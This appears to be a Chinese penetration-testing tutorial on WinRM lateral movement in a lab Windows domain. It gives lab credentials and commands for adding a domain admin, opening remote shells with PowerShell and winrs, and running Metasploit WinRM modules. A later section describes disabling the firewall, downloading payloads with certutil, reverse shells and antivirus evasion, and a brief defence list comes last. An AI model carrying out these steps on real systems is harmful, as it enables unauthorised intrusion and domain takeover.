0x01 winRM简介
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境。
0x02 利用条件
1、win 2012之前利用需要手动开启winRM ,在win 2012之后(包括win 2012)的版本是默认开启的,
2、防火墙对5986、5985端口开放。
1:已经获取目标主机,或者是要打域控,域管账户明文密码的情况下
2:开启了5986 或 5985 命令:netstat -ano |findstr 5985 或 nmap -p 5985,5986 -sV 指定IP
3:在已拿下的主机上设置(启动WinRM服务,默认是启动的,因为当前是版本是win10,但最好是再使用下以下命令):
命令一:winrm quickconfig
命令二:winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}
环境介绍
域:god.com
域控: win2012 god\administrator aA123456@@@ 192.168.29.176
域管用户: god\key qweQWE123@
域用户: Win10 god\test yangxu123@ 192.168.29.177
注:实战中获取域管用户密码通常通过内存导出,进程注入,密码爆破,漏洞利用等方式进行获取
拓展:(添加域控命令)
net user key qweQWE123@ /add /domain
net group "Domain Admins" key /add /domain
net group "Enterprise Admins" key /add /domain
查看域管,成功将Key添加为域管用户
net group "domain admins" /domain
0x03 利用方式
Powershell执行
1:Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ } 【工作组使用】
//命令执行
2:Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} 【域环境使用】
//命令执行
3:Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture} 【域环境使用】
//命令执行
3:Enter-PSSession -ComputerName 192.168.29.176 -Credential god\administrator 【域环境使用】
//返回交互式shell
实例2:Invoke-Command -ComputerName 192.168.29.176 -Credential god\key -command {whoami}
=====================================================================
=====================================================================
实例3:Enter-PSSession -ComputerName 192.168.29.176 -Credential god\key 【交互式Shell】
=====================================================================
=====================================================================
CMD执行
1:winrs -r:http://192.168.29.176:5985 -u:用户名 -p:qweQWE123@ "ipconfig" 【5985用http】
2:winrs -r:https://192.168.29.176:5985 -u:用户名 -p:qweQWE123@ "ipconfig" 【5986用https】
获取交互式shell
3:winrs -r:http://192.168.29.176:5985 -u:域名\用户名 -p:qweQWE123@ cmd 【5985用http】
4:winrs -r:https://192.168.29.176:5985 -u:域名\用户名 -p:qweQWE123@ cmd 【5986用http】
=====================================================================
=====================================================================实例1:winrs -r:http://192.168.29.176:5985 -u:key -p:qweQWE123@ "ipconfig"
=====================================================================
=====================================================================实例3:winrs -r:http://192.168.29.176:5985 -u:god\key -p:qweQWE123@ cmd
=====================================================================
=====================================================================
MSF 使用流程
1:检测
use auxiliary/scanner/winrm/winrm_auth_method
set domain god.com
set rhosts 192.168.29.176
exploit
2:确定我们获得的管理员凭据是否对其系统有效
auxiliary/scanner/winrm/winrm_login
set domain god.com
set username key
set password qweQWE123@
set rhosts 192.168.29.176
set rport 5985
3:利用当前管理员凭据对目标主机win2012是有效的。确定凭据有效后,尝试对目标主机win2012执行命令
use auxiliary/scanner/winrm/winrm_cmd
set rhosts 192.168.29.176
set DOMAIN god.com
set USERNAME administrator
set PASSWORD aA123456@@@
set CMD ipconfig 【需要执行的命令】
0x04 获取权限
通过以上方法横向到目标主机后,通过多种方式上线远控:
列举一下三种(还有其他姿势暂且不写,以下三种为简单粗暴的):
1:开3389,关防火墙,rdp上线 ,如果做了对3389做了安全策略,用netsh端口转发绕过即可
【其实在横向的时候,需要目标的密码,我们通过某些方式获取到后,但目标没有开放3389,但是开放了5985,5986服务,这个时候就可通过winrm横向过去】
2:目标不出网certutil下载正向马执行,CS及MSF上线 【无杀软情况,有杀软做免杀】
3:目标出网powershell、反向exe,上线CS及MSF 【无杀软情况,有杀软做免杀】
0x04 防御手段
1:设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器
2:启用适当的身份验证和加密机制,例如 Kerberos 身份验证和 SSL 加密
3:下杀软,装waf,设置强密码等
4:实施网络隔离和分段,使得 WinRM 只能在受信任的网络区域内运行
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)